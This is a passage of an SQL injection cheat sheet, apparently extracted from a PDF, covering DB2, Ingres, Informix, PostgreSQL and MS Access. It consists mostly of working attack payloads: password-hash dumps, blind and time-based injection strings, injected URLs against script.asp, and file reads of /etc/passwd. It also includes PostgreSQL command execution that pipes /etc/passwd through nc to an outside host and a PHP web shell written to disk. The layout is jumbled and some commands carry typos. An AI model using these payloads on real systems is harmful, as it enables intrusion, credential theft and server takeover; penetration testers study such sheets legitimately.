— Using this command, you can sniff DNS resolution requests to
yourhost.com
— {INJECTION} = You want to run the query.

Default  SYSTEM
Databases  SYSAUX

Path of DB  SELECT name FROM V$DATAFILE

Files  SELECT * FROM dba_directories

 SELECT name FROM V$DATAFILE;

Location of
DB Files — This command retrieves the location of name data file from
database ‘V$DATAFILE’.

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 SELECT * FROM session_privs;

— This command returns the privileges assigned to the current user.
 SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’;
— This command returns a list of user’s privileges from dba_sys_privs
having grantee value ‘DBSNMP’.
Privileges  SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY
DICTIONARY’;
— This command returns the users with a particular privilege.
 SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
— This command returns the column GRANTEE and GRANTED_ROLE
from the table DBA_ROLE_PRIVS.

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4. IBM-DB2 SQL Database

Query Command
 SELECT service_level FROM table(sysproc.env_get_inst_info()) as
instanceinfo
— This command returns a version of system table.
 SELECT getvariable('sysibm.version') FROM sysibm.sysdummy1 --
(v8+)
— This command returns an information on built version of system
table.
Version
 SELECT prod_release, installed_prod_fullname FROM
table(sysproc.env_get_prod_info()) as productinfo
— This command returns release and full name information of system
table.
 SELECT service_level, bld_level FORM sysibmadm.env_inst_info
— This command returns the service and configuration information of
system table.
DB2 uses OS accounts. Those with DB2 access can be retrieved with:
 SELECT distinct(authid) FROM sysibmadm.privileges
— This command retrieves distinct authorization ID of users from
sysibmadm.privileges.
 SELECT grantee FROM syscat.dbauth
— This command lists the users with database privileges.
List Users
 SELECT distinct(definer) FROM syscat.schemata
— This command retrieves distinct authorization ID of the owner of
the schema.
 SELECT distinct(grantee) FROM sysibm.systabauth
— This command retrieves distinct authorization ID of users having
database privileges from sysibm.systabauth.
 SELECT user FROM sysibm.sysdummy1;
— This command obtains current user from the table
sysibm.sysdummy1.
 SELECT session_user FROM sysibm.sysdummy1;
Current User
— This command obtains current session user from the table
‘sysibm.sysdummy1.
 SELECT system_user FROM sysibm.sysdummy1;
— This command obtains current system user from the table

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‘sysibm.sysdummy1.

 SELECT schemaname FROM syscat.schemata;

List all
Database —This command obtains a column name ‘schemaname’ having a list of
databases from the table ‘syscat.schemata’.
 SELECT current server from sysibm.sysdummy1;
Current
Database — This command obtains the current database server from
sysibm.sysdummy1.
 SELECT table_name FROM sysibm.tables;
— This command obtains the list ‘table_name’ from table
List Tables sysibm.tables.
 SELECT name FROM sysibm.systables;
— This command obtains the list ‘name’ from table sysibm.systables.
 SELECT name, tbname, coltype FROM sysibm.syscolumns;
Column — This command obtains the column names- ‘name’, ‘tbname’ and
Names ‘coltype’ from table sysibm.syscolumns.
— syscat and sysstat and can also be used in place of sysibm.
 SELECT name from (SELECT name FROM sysibm.systables order by
Select Nth name fetch first N+M-1 rows only) sq order by name desc;
Row
— This command returns first N rows only from sysibm.systables.
Select Nth  SELECT SUBSTR(‘abc’,2,1) FROM sysibm.sysdummy1;
Char — This command returns b.

If Statement  Seems only allowed in stored procedures. Use case logic instead.

 SELECT CASE WHEN (1=1) THEN 'AAAAAAAAAA' ELSE 'BBBBBBBBBB'

Case END FROM sysibm.sysdummy1
Statement
— If the condition is true, 'AAAAAAAAAA' is returned.
 select blah from foo;
Comments
— This command is used for writing a comment.
 SELECT chr(65)||chr(68)||chr(82)||chr(73) FROM sysibm.sysdummy1
String -- returns “ADRI”.
without
— This command returns a string without quotes.
Quotes
— It can be used without select.
 Heavy queries, for example:
Time Delay ' and (SELECT count(*) FROM sysibm.columns t1, sysibm.columns t2,
sysibm.columns t3)>0 and (SELECT ascii(substr(user,1,1)) FROM

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sysibm.sysdummy1)=68;
— If user starts with ASCII 68 ('D'), the heavy query will be executed,
delaying the response. However, if user doesn’t start with ASCII 68, the
heavy query won’t execute and thus the response will be faster.
Command
 This functionality is allowed from procedures or UDFs.
Execution
List Password
 N/A (OS User Accounts)
Hashes
 SELECT distinct(grantee) FROM sysibm.systabauth where
List DBA CONTROLAUTH='Y';
Accounts — This command returns a list of DBA accounts from table
sysibm.systabauth having CONTROLAUTH value ‘Y’.
Local File
 This functionality is available through stored procedures or DB2 tool.
Access

 SELECT os_name,os_version,os_release,host_name FROM

Hostname, IP sysibmadm.env_sys_info;
Address — This command obtains the Hostname, and IP address of a system
from sysibmadm.env_sys_info.

 SELECT xmlagg(xmlrow(table_schema)) FROM sysibm.tables;

— This command returns all in one xml-formatted string.
 SELECT xmlagg(xmlrow(table_schema)) FROM (SELECT
distinct(table_schema) FROM sysibm.tables);
Serialize XML: — This command returns all in one xml-formatted string excluding
For Error redundant elements.
Based  SELECT xml2clob(xmelement(name t, table_schema)) FROM
sysibm.tables;
— This command returns all in one xml-formatted string (v8).
 CAST(xml2clob(… AS varchar(500));
— This command is used to display the result.

 SYSIBM
 SYSCAT
Default  SYSSTAT
Databases  SYSPUBLIC
 SYSIBMADM
 SYSTOOLS

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 SELECT * FROM sysibmadm.reg_variables WHERE

Location of reg_var_name='DB2PATH';
DB Files
— This command obtains the location of DB files.
 select * from syscat.tabauth;
— This command obtains all the users having privileges on a particular
table or view in the database
 select * from syscat.dbauth where grantee = current user;
— This command obtains the current user having privileges on a
Privileges particular table or view in the database.
 select * from syscat.tabauth where grantee = current user;
— This command obtains the current user having table and view
privileges.
 select * from SYSIBM.SYSUSERAUTH;
— This command lists the users with system privileges.

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5. Ingres SQL Database

Query Command
 SELECT dbmsinfo('_version');
Version — This command retrieves the system information of the current
installation of SQL Database.
First connect to iidbdb, then
 SELECT name, password FROM iiuser;
— This command retrieves the columns ‘name’ and ‘password’ from
List Users
the table ‘iiuser’.
 SELECT own FROM iidatabase;
— This command lists the names of users from the table ‘iidatabase’.

 select dbmsinfo(‘session_user’);
Current User  select dbmsinfo(‘system_user’);
— These commands return the user id of the current user.

 SELECT name FROM iidatabase;

List all
Database —This command obtains a column name ‘name’ having a list of
databases from the table ‘iidatabase’.

Current  select dbmsinfo(‘database’);

Database — This command obtains the current SQL database.

 SELECT table_name, table_owner FROM iitables;

— This command obtains the columns ‘table_name’ and ‘table_owner’
from the table ‘iitables’.
 SELECT relid, relowner, relloc FROM iirelation;
List Tables — This command obtains the columns ‘relid’, ‘relowner’ and ‘relloc’
from the table ‘iirelation’.
 SELECT relid, relowner, relloc FROM iirelation WHERE relowner !=
'$ingres';
— This command obtains the columns ‘relid’, ‘relowner’ and ‘relloc’
from the table ‘iirelation’ having ‘relowner’ value as !=’$ingres’.

 SELECT column_name, column_datatype, table_name, table_owner

FROM iicolumns;
List Column
— This command lists columns ‘column_name’, ‘column_datatype’,
‘table_name’ and ‘table_owner’ from the table ‘iicolumns’.

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 This functionality is not possible, but following command can be used

Select Nth to some extent:
Row  get:select top 10 blah from table;
— This command obtains first 10 blah form table.
Select Nth  select substr(‘abc’, 2, 1);
Char — This command returns ‘b’.
 SELECT 123;
— This command is used for writing a comment.
Comments
 SELECT 123; /* comment */
— This command is used to comment out a statement.

List  First connect to iidbdb, then:

Password select name, password from iiuser;
Hashes — This command obtains password hashes from table ‘iiuser’.

Hostname, IP  SELECT dbmsinfo(‘ima_server’)

Address — This command obtains the Hostname and IP address of a system.

Logging in  $ su - ingres
from $ sql iidbdb
Command * select dbmsinfo(‘_version’); go
Line — This command can be used to log in from command line.

Default  SELECT name FROM iidatabase WHERE own = '$ingres';

Databases — This command lists the databases from ‘iidatabase’.

 SELECT dbdev, ckpdev, jnldev, sortdev FROM iidatabase WHERE

name = ‘value’;
— This command obtains primary location of db.
Location of  SELECT lname FROM iiextend WHERE dname = ‘value’;
DB Files
— This command obtains extended location of db.
 SELECT are FROM iilocations where lname = ‘value’;
— This command obtains all area (i.e. directory) linked with a location.
 SELECT dbmsinfo('db_admin');
— This command retrieves the users with ‘db_admin’ privilege.
 SELECT dbmsinfo('create_table');
Privileges
— This command retrieves the users with 'create_table' privilege.
 SELECT dbmsinfo('create_procedure');
— This command retrieves the users with 'create_procedure' privilege.

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 SELECT dbmsinfo('security_priv');
— This command retrieves the users with 'security_priv' privilege.
 SELECT dbmsinfo('SELECT_syscat');
— This command retrieves the users with 'SELECT_syscat' privilege.
 SELECT dbmsinfo('db_privileges');
— This command retrieves the users with 'db_privileges' privilege.
 SELECT dbmsinfo('current_priv_mask');
— This command retrieves the users with 'current_priv_mask'
privilege.

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6. Informix SQL Database

Query Command
 SELECT DBINFO('version', 'full') FROM systables WHERE tabid = 1;
— This command retrieves the version and complete information from
the table ‘systables’ having tabid value as ‘1’.
 SELECT DBINFO('version', 'server-type') FROM systables WHERE tabid
= 1;
— This command retrieves the version and server information from the
table ‘systables’ having tabid value as ‘1’.
Version
 SELECT DBINFO('version', 'major'), DBINFO('version', 'minor'),
DBINFO('version', 'level') FROM systables WHERE tabid = 1;
— This command retrieves the version, major and minor information
from the table ‘systables’ having tabid value as ‘1’.
 SELECT DBINFO('version', 'os') FROM systables WHERE tabid = 1;
— This command retrieves the version and OS information from the
table ‘systables’ having tabid value as ‘1’.
 SELECT username, usertype, password from sysusers;
List Users — This command lists the usernames, usertype and password from the
table sysusers.
 SELECT USER FROM systables WHERE tabid = 1;
— This command obtains the column ‘USER’ from table ‘systables’
having tabid value as ‘1’.
Current User
 SELECT CURRENT_ROLE FROM systables WHERE tabid = 1;
— This command obtains the column ‘CURRENT_ROLE’ from table
‘systables’ having tabid value as ‘1’.
 SELECT name, owner from sysdatabases;
List all
Database — This command obtains the list of all the databases from the
database ‘sysdatabases’.
 SELECT DBSERVERNAME FROM systables where tabid = 1;
Current
Database — This command obtains the column ‘DBSERVERNAME’ current server
name from table ‘systable’ having tabid value as ‘1’.
 SELECT tabname, owner FROM systables;
— This command obtains the columns ‘tabname’ and ‘owner’ from
List Tables table ‘systable’.
 SELECT tabname, viewtext FROM sysviews JOIN systables ON
systables.tabid = sysviews.tabid;
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— This command selects columns ‘tabname’ and ‘viewtext’ from the

table ‘sysviews’ and joins with the same columns of table ‘systables’,
condition being ‘systables.tabid=sysviews.tabid’.
 SELECT tabname, colname, owner, coltype FROM syscolumns JOIN
systables ON syscolumns.tabid = systables.tabid;
List Columns — This command selects columns ‘tabname’, ‘colname’, ‘owner’, and
‘coltype’ from the table ‘syscolumns’ and joins with the same columns
of table ‘systables’, condition being ‘syscolumns.tabid=systables.tabid’.
 SELECT first 1 tabid from (select first 10 tabid from systables order by
Select Nth tabid) as sq order by tabid desc;
Row
— This command retrieves the 10th row.
 SELECT SUBSTRING(‘ABCD’ FROM 3 FOR 1) FROM systables where
Select Nth tabid = 1;
Char
— This command returns ‘C’.
 SELECT tabid, case when tabid>10 then “High” else ‘Low’ end from
Case systables;
Statement — This command returns “High” for columns ‘tabid’ and ‘case’, if tabid
is greater than 10 else returns “Low”.
 select 1 FROM systables WHERE tabid = 1;
Comments
— This command is used for writing a comment.
 SELECT DBINFO(‘dbhostname’) FROM systables WHERE tabid = 1;
Hostname, IP
Address — This command returns hostname and IP address information from
table ‘systables’ having tabid value as ‘1’.
These are the system databases:
 sysmaster
Default
 ysadmin*
Databases
 ysuser*
 ysutils*
 SELECT tabname, grantor, grantee, tabauth FROM systabauth join
systables on systables.tabid = systabauth.tabid;
— This command is used to find out that which user has access to
which table.
Privileges
 SELECT procname, owner, grantor, grantee from sysprocauth join
sysprocedures on sysprocauth.procid = sysprocedures.procid;
— This command is used to find out that which user has access to
which procedures.

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7. Postgre SQL Database

Query Command
 SELECT version();
Version — This command obtains the version and built information of a
database.
 SELECT usename FROM pg_user;
List Users — This command obtains the column ‘usename’ from the table
‘pg_user’.

Create DB This command is used to create database accounts

Accounts  CREATE USER victor WITH PASSWORD 'pass123'

 SELECT user;
— This command obtains a name of recently logged in user.
 SELECT current_user;
— This command obtains a name of current user.
 SELECT session_user;
Current User
— This command obtains a name of current session user.
 SELECT usename FROM pg_user;
— This command obtains the column ‘usename’ from table ‘pg_user’.
 SELECT getpgusername();
— This command obtains the user name in current session.

 SELECT datname FROM pg_database;

List all
Database — This command obtains the list of database in column ‘datname’
from table ‘pg_database’.

Current  SELECT current_database();

Database — This command obtains the current database.
 SELECT pg_read_file('global/pg_hba.conf',0,10000000);
Load File — This command is used to read only the content of the DATA
directory.
 SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN
pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE
List Tables c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’)
AND pg_catalog.pg_table_is_visible(c.oid);
— This command lists the tables present in the database.

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 SELECT relname, A.attname FROM pg_class C, pg_namespace N,

pg_attribute A, pg_type T WHERE (C.relkind=’r') AND
(N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND
List Columns (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped)
AND (N.nspname ILIKE ‘public’);
— This command lists the columns present in the database.
 SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET
0;
Select Nth — This command returns rows numbered from 0.
Row  SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET
1;
— This command returns rows numbered from 1.
Select Nth  SELECT substr(‘abcd’, 3, 1);
Char — This command returns c.
 IF statements only seem valid inside functions, therefore they are of
If Statement less use in SQL injection statement.
 See CASE statement instead.
Case  SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END;
Statement — This command returns A.
 SELECT 1;
— This command is used for writing a comment.
Comments
 SELECT /*comment*/1;
— This command is used to comment out a statement.
String without  SELECT (CHAR(75)||CHAR(76)||CHAR(77))
Quotes — This command will return ‘KLM’.
 SELECT pg_sleep(10);
— This command triggers a measurable sleep time.
— In postgres is 8.2+ only.
Time Delay
 CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS
‘/lib/libc.so.6′, ‘sleep’ language ‘C’ STRICT; SELECT sleep(10);
— This command is to create your own sleep function.
 CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS
Command ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT; — priv
Execution  SELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080′);
— This commands run as postgres/pgsql OS-level user.

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 Generally, not it is not applicable in postgres. However,

if contrib/dblinkis installed (it isn’t by default) it can be used to
resolve hostnames (assuming you have DBA rights):
 SELECT * FROM dblink('host=put.your.hostname.here
Make DNS
user=someuser dbname=somedb', 'SELECT version()') RETURNS
Requests
(result TEXT);
Alternatively, if you have DBA rights you could run an OS-level
command (see below) to resolve hostnames, e.g. “ping
pentestmonkey.net”.
 You should add “host” record to the pg_hba.conf file located in the
Remote DATA directory.
Authentication
host all all 192.168.20.0/24 md5;
 SELECT pg_read_file('global/pg_auth',0,10000000);
List Passwords
— This command lists passwords from a given database.
 SELECT usename, passwd FROM pg_shadow;
List Password
Hashes — This command is used obtain password hashes from a given
database.
 To read data from local files, first you should create a temporary file
for that. Read file contents into this table, then read the data from
table.
CREATE TABLE temptable(t text);
COPY temptable FROM 'c:/boot.ini';
SELECT * FROM temptable LIMIT 1 OFFSET 0
Bulk Insert
This functionality needs permissions for the service user who has
been running database service. On default, it is not possible to read
local files on Windows systems because postgres user doesn’t have
read permissions.
 Drop the temporary file after exploitation.
DROP TABLE temptable;
 CREATE USER test1 PASSWORD ‘pass1';
— This command creates a user name ‘USER test1’ having password
‘pass1’.
Create Users
 CREATE USER test1 PASSWORD ‘pass1' CREATEUSER;
— This command creates a user name ‘USER test1’ having password
‘pass1’ and at the same time privileges are granted the user.
 DROP USER test1;
Drop User
— This command drops user name ‘USER test1’.

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List DBA  SELECT usename FROM pg_user WHERE usesuper IS TRUE

Accounts — This command obtains a list of user names with DBA privileges.
Make User  ALTER USER test1 CREATEUSER CREATEDB;
DBA — This command grants DBA privileges to a user name ‘USER test1’.
 CREATE TABLE mydata(t text);
COPY mydata FROM ‘/etc/passwd’;
— priv, can read files which are readable by postgres OS-level user
 …’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1;
— This command gets data back one row at a time.
 …’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2;
— This command gets data back one row at a time.
Local File
Access  DROP TABLE mytest mytest;Write to a file:
— This command drops a table and then write it to another text file.
 CREATE TABLE mytable (mycol text);
INSERT INTO mytable(mycol) VALUES (‘<? pasthru($_GET[cmd]); ?>’);
COPY mytable (mycol) TO ‘/tmp/test.php’;
— priv, write files as postgres OS-level user. Generally, you will not
be able to write to the web root.
— priv user can also read/write files by mapping libc functions.
 SELECT inet_server_addr();
— This command returns db server IP address (or null if using local
Hostname, IP connection).
Address  SELECT inet_server_port();
— This command returns db server IP address (or null if using local
connection)
Error Based  cast((chr(95)||current_database()) as numeric);
SQLi Attack:
— This command is used to receive integer inputs.
To throw
 '||cast((chr(95)||current_database()) as numeric)||';
Conversion
Errors — This command is used to receive string inputs.

Clear SQLi  product.php?id=4

Tests:  product.php?id=5-1
For Boolean  product.php?id=4 OR 1=1
SQL Injection  product.php?id=-1 OR 17-7=10
and Silent — These commands can be used as tests for Boolean SQL injection
Attacks and silent attacks.

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 ?vulnerableParam=-1; SELECT CASE WHEN

(COALESCE(ASCII(SUBSTR(({INJECTION}),1,1)),0) > 100) THEN
Time Based pg_sleep(14) ELSE pg_sleep(0) END LIMIT 1--+;
SQLi
{INJECTION} = You want to run the query.
Exploitation
— If the condition is true, will response after 14 seconds. If is false,
will be delayed for one second.
Default  template0
Databases  template1
 SELECT current_setting('data_directory');
— This command returns the path of data_directory (C:/Program
Path of DB Files/PostgreSQL/8.3/data)
Files  SELECT current_setting('hba_file');
— This command returns the path of hba_file (C:/Program
Files/PostgreSQL/8.3/data/pg_hba.conf)
 SELECT current_setting(‘data_directory’);
Location of DB — This command returns the location of the data_directory.
Files  SELECT current_setting(‘hba_file’);
— This command returns the location of the hba_file.
 SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
Privileges — This command returns the user names along with their privileges
from the table ‘pg_user’.

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8. MS ACCESS Database

Query Command
 SELECT Name FROM msysobjects WHERE Type = 1;
List Tables — This command retrieves column name ‘Name’ from the table
‘msysobjects’ having type value as ‘1’.
Create DB This command is used to create database accounts
Accounts  CREATE USER victor IDENTIFIED BY 'pass123'
 Comment characters are not available in Microsoft Access. However,
it is possible to remove useless part of a query with the NULL char
Query (%00). A query truncation looks like:
Comment
http://localhost/script.asp?id=1’+UNION+SELECT+1,2,3,4+FROM+so
meValidTabName%00;
 Apache (PHP):
Fatal error: Uncaught exception 'com_exception' with message
Syntax Error 'Source: Microsoft JET Database Engine Description: [...];
Messages
 IIS (ASP):
Microsoft JET Database Engine error '80040e14';
Stacked Query  Stacked queries are not allowed.
 Subqueries are supported by MS Access. In the following
example, TOP 1 is used to return one row only:
Sub Query
http://localhost/script.asp?id=1'+AND+(SELECT+TOP+1+'someData'+
FROM+table)%00;
 In some cases, it is useful to include in the web application response
Hardcoded the outcome of our UNION SELECT query only, making the hardcoded
Query query returning 0 results. A common trick can be used for our
Returning 0 purpose:
Rows http://localhost/script.asp?id=1'+AND+1=0+UNION+SELECT+1,2,3+F
ROM+table%00;
 The LIMIT operator is not implemented within MS Access. However, it
is possible to limit SELECT query results to the first N table rows using
the TOP operator. TOP accepts as argument an integer, representing
the number of rows to be returned.
Limit Support
http://localhost/script.asp?id=1'+UNION+SELECT+TOP+3+someAttrN
ame+FROM+validTable%00;
 In the above example, In addition to TOP, the operator LAST can be
used to fully emulate the behavior of LIMIT.

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 http://localhost/script.asp?id=1'+UNION+SELECT+LEN('1234')+FRO
String Length M+table%00;
This request above returns 4, the length of the string “1234”.
 http://localhost/script.asp?id=1'+UNION+SELECT+MID('abcd',1,1)+F
ROM+table%00;
 http://localhost/script.asp?id=1'+UNION+SELECT+MID('abcd',2,1)+F
ROM+table%00;
Substring
— The operator MID can be used to select a portion of a specified
string
— The first query returns the character ‘a’, whereas the second query
returns ‘b’.
 http://localhost/script.asp?id=1'+UNION+SELECT+'web'+%2b+'app'+
FROM+table%00;
String  http://localhost/script.asp?id=1'+UNION+SELECT+'web'+%26+'app'+
Concatenation FROM+table%00;
— &(%26) and + (%2b) characters are used for string concatenation.
— Both queries return the string “webapp”.
 IIF(condition, true, false);
 http://localhost/script.asp?id=1'+UNION+SELECT+IIF(1=1,'a','b')+FR
IF THEN OM+table%00;
Conditional — The IIF operator can be used to build an “if-then” conditional
Statement statement. As shown below, the syntax for this function is simple:
— This command returns the character ‘a’ as the condition 1=1 is
always true.
 http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeD
Web Root B.FakeTable%00;
Directory Full
Path — Using the above request, MS Access responds with an error
message containing the web directory full pathname.
 The CHR operator converts the argument character to its ASCII value:
Char from http://localhost/script.asp?id=1'+UNION+SELECT+CHR(65)+FROM+t
ASCII Value able%00;
— This command returns the character ‘A’.
 The ASC operator returns the ASCII value of the character passed as
argument:
ASCII Value
http://localhost/script.asp?id=1'+UNION+SELECT+ASC('A')+FROM+ta
from Char
ble%00;
— This command returns 65, the ASCII value of the character ‘A’.

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 Database file name (.mdb) can be inferred with the following query:
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].
.mdb File realTable%00;
Name — Where name[i] is a .mdb filename and realTable is an existent table
Guessing within the database. Although MS Access will always trigger an error
message, it is possible to distinguish between an invalid filename and
a valid .mdb filename.

.mdb  Access PassView is a free utility that can be used to recover the main
Password database password of Microsoft Access 95/97/2000/XP or Jet
Cracker Database Engine 3.0/4.0

 MS Access supports UNION and UNION ALL operators, although they

require an existent table name within the FROM clause of
Union
the SELECT query. Table brute forcing can be used to obtain a valid
Operator
table name. Please refer to last section (Another Bruteforcing
Technique) of this document.
 http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msy
sobjects+IN+'\boot.ini'%00;
— By implementing the above request, if the specified file exists, MS
Access triggers an error message informing that the database format
is invalid
File
 Another way to enumerate files consists into specifying
Enumeration
a database.table item
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\\boot
.ini.TableName%00;
— By implementing the above command, if the specified file exists,
MS Access displays a database format error message
Table fields can be enumerated with a simple trick. First of all, it is
necessary to find a valid table name. If error messages are not
concealed, the name of table is usually included in the error
messages. Let’s assume that id is a valid table name.
Table Fields At this stage, we can use a well-known MS SQL server technique to
Enumeration enumerate all table fields.
 http://localhost/script.asp?id=1'+GROUP+BY+ID%00;
— As the system will now respond with a slightly different error
message including another field name, we can proceed with the
following:
 http://localhost/script.asp?id=1'+GROUP+BY+ID,FIELD2%00;

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— Consequently, this process can be repeated several times until all

field names have been uncovered. Note that it is not possible to use
this technique if you are dealing with query like “SELECT * FROM”
 The total number of rows in a table can be discovered with the query:
Table Rows  http://localhost/script.asp?id=1'+AND+IIF((SELECT+COUNT(*)+FRO
Counting M+validTableName)=X,1,0)%00;
— In the following, TAB_LEN is the discovered number of rows.
 Backslash escaped input filtering can be easily bypassed in MS Access.
Escaping user's inputs by adding backslashes is not enough in order to
Filters Evasion prevent SQL injection as the character ‘\’ is the integer divide
operator. A clever example of bypass has been already discussed
here.
 Using our favorite scripting language, it is possible to iterate on all
wordlist items using the query:
http://localhost/script.asp?id=1'+AND+(SELECT+TOP+1+FROM+$wor
dlist)%00;
Table and
— If the $wordlist item exists, the web application should display a
Field Names
standard HTML response.
Brute forcing
 Once obtained a valid table name, we can guess a field name in a
similar way:
http://localhost/script.asp?id=1'+AND+(SELECT+TOP+1+FieldName[i
]+FROM+validTableName)%00;
 Assuming that we have already discovered the vulnerable ‘id’ field,
the table name and the field name, we can proceed using the
following query:
http://localhost/index.asp?id=IIF((select%20mid(last(username),1,1)
%20&#13;from%20(select%20top%2010%20username%20from%20u
sers))='a',0,'ko');
 In a nutshell, the query uses an “if-then” statement in order to trigger
Blind SQL
a “200 OK” in case of success or a “500 Internal Error” otherwise.
Injection
Taking advantage of the TOP 10 operator, it is possible to select the
first ten results. The subsequent usage of LAST allows to consider the
10th tuple only.
 On such value, using the MID operator, it is possible to perform a
simple character comparison.
 Properly changing the index of MID and TOP, we can dump the
content of the “username” field for all rows.

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